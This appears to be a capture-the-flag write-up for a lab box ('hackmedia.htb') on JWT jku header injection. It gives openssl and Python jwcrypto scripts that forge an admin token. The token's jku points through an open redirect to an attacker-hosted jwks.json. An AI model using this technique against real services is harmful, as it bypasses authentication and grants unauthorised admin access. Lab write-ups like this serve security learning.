When we register and login with an account, the authentication mechanism is look like this.
When we decode it,
It's using RS256 algorithm and token is using jku header parameter which contains the JSON Web Key and the URL is to be used for token verification.
The jku header is a URI that refers to a resource for a set of JSON-encoded public keys, one of which corresponds to the key used to digitally sign the JWS.
The jku header url is look like this,
If an attacker generate a public and private key pairs and create a new token with a new private key (which we generated) and replace jku header with the url which contains new generated jwks.json file (host on a web server) and then the token would be accept by the server.
Download or copy that jwks.json file.
Creating a new keypair.pem
openssl genrsa -out keypair.pem 2048
Generating n,e,kid
We're using python jwcrypto module to generate n,e and kid
Install pip3 install jwcrypto
jwk-gen-1.py
#!/usr/bin/python3
from jwcrypto import jwk,jwt
with open('keypair.pem','rb') as pemfile:
key = jwk.JWK.from_pem(pemfile.read())
print(key)
print("n: ", key.n)
print("e: ", key.e)py
Run python3 jwk-gen-1.py and the output should look like this
Replace kid , n and e in your jwks.json file like this,
Now we can create a new token as username admin
Creating new token
token-gen.py
#!/usr/bin/python3
from jwcrypto import jwk,jwt
with open('keypair.pem','rb') as pemfile:
key = jwk.JWK.from_pem(pemfile.read())
headers = {
"alg": "RS256",
"jku": "http://hackmedia.htb/static/../redirect/?url=10.10.14.18:8000/jwks.json"
}
Token = jwt.JWT(header=headers, claims={"user":"admin"})
Token.make_signed_token(key)
print(Token.serialize())
NOTE: If the server validate the original url, we can use the Redirect method like above. If not, you can use just like "jku": "http://yourwebsever.com/jwks.json"
Run that script and we will get a new token like this.